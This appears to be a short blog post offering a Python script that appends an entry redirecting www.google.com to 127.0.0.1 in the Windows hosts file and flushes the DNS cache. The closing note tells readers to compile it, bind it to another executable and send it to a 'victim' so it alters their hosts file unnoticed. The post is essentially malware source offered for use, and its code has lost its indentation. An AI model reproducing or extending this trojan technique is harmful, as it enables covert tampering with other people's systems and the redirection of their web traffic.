Hello all I am here once again here with my time-pass script.
It can be used to modify the Windows host file records in a single click.
It can be used to modify the Windows host file records in a single click.
#! /usr/bin/env python
import os
def main():
#change the current directory to the host file directory
os.chdir("C:\Windows\System32\drivers\etc")
#opening the host file
fi = open("hosts","a")
#changing the dns information
fi.write('\n127.0.0.1 \t www.google.com')
#flushdns cache on the system
os.system('ipconfig /flushdns')
#closeing the file
fi.close()
if __name__=='__main__':
main()
Note : You can create the .exe (executable) of this script bind it with some other exe file and send it to your victim. This can easily modify the victim's host file.
Sign up here with your email
2 comments
Write commentscan I use it for window 10?
Replyyep
ReplyConversionConversion EmoticonEmoticon